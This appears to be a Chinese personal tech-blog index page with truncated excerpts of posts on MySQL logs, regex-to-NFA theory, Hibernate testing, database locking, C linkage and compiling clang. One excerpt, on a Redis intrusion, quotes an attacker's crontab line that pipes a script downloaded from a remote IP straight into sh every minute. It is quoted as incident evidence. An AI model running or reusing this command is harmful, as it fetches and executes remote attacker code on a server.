chainhelen

mysql

MySQL 通用查询日志

首先推荐一款linux下的mysql客户端mycli mysql里面有很多日志,如bin日志用来恢复数据,慢查询日志用来监控查询较慢的数据 只记了通用日志的开启方式,其他的日志都是类似命令 mysql root@localhost:(none)> show global variables like '%gener%'; +------------------+--------------------------------------------+ | Variable_name | Value | |------------------+--------------------------------------------| | general_log | OFF | | general_log_file | /var/lib/mysql/iZwz92pw32r9w6beu4jlfpZ.log | +-

By chainhelen
从正则表达式到NFA

NFA

从正则表达式到NFA

正则表达式 定义 : 正则表达式可以描述所有通过对某个字母表上的符号应用并、连接、闭包运算而得到的语言;可以用正则表达式定义的语言叫做正则集合 性质 : 如果两个正则表达式 r 和 s 表示同样的语言,则称 r 和 s等价 遵循一些代数性质 定律 描述 \( r | s = s | r \) | 是可以交换 \( r|(s|t) = (r|s)|t \) | 是可结合的 \( r(st) = (rs)t \) 连接是可结合的 \( r(s|t)=rs|rt \);\( (s|t)r=sr|tr \) 连接对|是可分配的 \( \epsilon r=

By chainhelen

自动机

子集构造法

概念 首先介绍一下 有限自动机 FA (Finite Automate)的概念,形式上它是一个五元组 \( (S, \sum, \delta, s_0, S_A) \) 1. \( S \) 是识别器的有限状态集,以及一个错误状态\( S_e\) 2. \( \sum \)是识别器使用的有限字母表。通常,\( \sum \) 是转移图中边的标签合集 3. \( \delta(s, c) \)是识别器的转移函数。它将每个状态 \(s \in S \)和每个字符\(c \in \sum \)映射到下一个状态。在状态\( s_i \)遇到输入字符\(c\),FA将采取\(s_i \rightarrow^

By chainhelen

java

hibernate 测试

问题 线上出现了一个问题,跟hibernate相关,所以想先搭建一下环境测试 环境 用的idea旗舰版,很不好意思是破解的,本来是想买正版的,但是正式实在是太贵了。 新建项目Maven,使用SDK jdk 1.8 选择Create from archetype, maven-archetype-webapp项目 项目目录,如下 问题 问题1 写测试样例的时候,报错了 四月 25, 2017 8:15:35 下午 org.junit.platform.launcher.core.ServiceLoaderTestEngineRegistry loadTestEngines 信息: Discovered TestEngines with IDs: [junit-jupiter, junit-vintage] Exception

By chainhelen

数据库

数据库并发锁

问题 之前让同事修改需求,实现商品列表页上的每个购物车图标按钮,点击能够局部刷新用户的购物车 购物车数据库是这样设计的,每条数据主要跟用户id、商家id、商品id有关;另外还有一个字段是count,也就是说用户对某个商品的购物车数据就是该count 1. 如果查到三条信息一致的记录,那么就update原来的那条记录 count + 1 2. 如果没有查到这样的记录,那么insert一条 count = 1 的数据 问题就是这个insert;不然只有update的话,按照原来我写的文章 mysql数据一致性闲谈,搞一个悲观锁就ok了 问题场景 当一个新的用户,连续两次快速点击同一个商品的购物车按钮(前端没有做同步,允许并发),后台的ssh结构会导致两个线程都进入了上述情况2中 简化问题 因为我对java不是很熟,我们来把原有问题简化成如下问题 import java.util.*; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLo

By chainhelen

redis

Redis入侵服务器

redis集群 之前打算用redis作为session的缓存,然后让同事去配置了redis集群。测试环境流程ok,在生产环境并没有直接合入,只是单纯地搭建了redis集群数据库。 发现问题 因为我们有自动化备份数据,利用linux自带的cron工具,每天凌晨2点去执行备份数据库脚本,但是我们运维人员某天去检查的时候,发现当天的凌晨2点并没有产生备份数据库。沿着线索发现cron的文本已经被修改了 cd /var/spool/cron/crontabs/ //文件位置 cat root //查看文件 REDIS0007dis-ver3.2.8edis-bitsctimeXed-mem */1 * * * * curl -L http://218.38.3.16:9999/i.sh?6379 | sh test1SUCCESSkey1 那么这个.sh是什么? export PATH=$PATH:/bin:/usr/

By chainhelen

c语言

extern c

函数签名 Function Signature,函数签名包含了一个函数的信息,包括函数名、它的参数类型、它所在的类和名称空间及其他信息。 编译过程中,编译器(或者链接器)处理符号时,他们使用某种名称修饰的方法,使得每个函数签名对应一个修饰后名称(Decorated Name)。 (内容主要摘抄《程序员的自我修养》) 以下表格是c++代码编译过后在gcc编译器下的符号名 函数签名 修饰后名称(符号名) int func(float) _Z4funcf float func(float) _Z4funcf int C::func(int) _ZN1C4funcEi int C::C2::func(int) _ZN1C2C24funcEi int N::func(int) _ZN1N4funcEi int N::C::func(

By chainhelen

js

js valueOf

toString的区别 valueOf():返回最适合该对象类型的原始值; toString(): 将该对象的原始值以字符串形式返回。 在数值运算里,会优先调用valueOf(),如a + b; 在字符串运算里,会优先调用toString(),如alert(c)。 知乎来源 我在网上找到的其他例子,放在crhome里面跑,或者nodejsV7.7.2都是不同的 所以有理由相信,之前的js实现跟当前流行的是不一样的,下面以nodejs为主 var c = { i: 10, valueOf: function () { console.log("valueOf --->") return this.i + 30; }, toString: function () { console.log("toString --->") return this.i + 10;

By chainhelen

c语言

编译clang

环境 windows10 vs2015update3 community版 cmake3.7.2 Python 3.5.3 GnuWin32 tools llvm4.0源码 安装过程 首先安装vs2015updaate3 community版,双击iso镜像文件,win10系统自动挂载,在虚拟镜像里面双击vs_community.exe,选择默认安装即可 python、cmake安装过程比较简单,但是确保安装完成后都在环境变量PATH里面 唯一不一样的地方是我并没有安装GnuWin32,我装了codeblock(默认有mingw),然后把lib,include,bin目录都加在环境变量PATH里面,接在再添加了环境变量include,lib 下载llvm-4.0.0.src.tar.xz源码,改名llvm,解压作为源码根目录 下载cfe-4.0.0.src.tar.

By chainhelen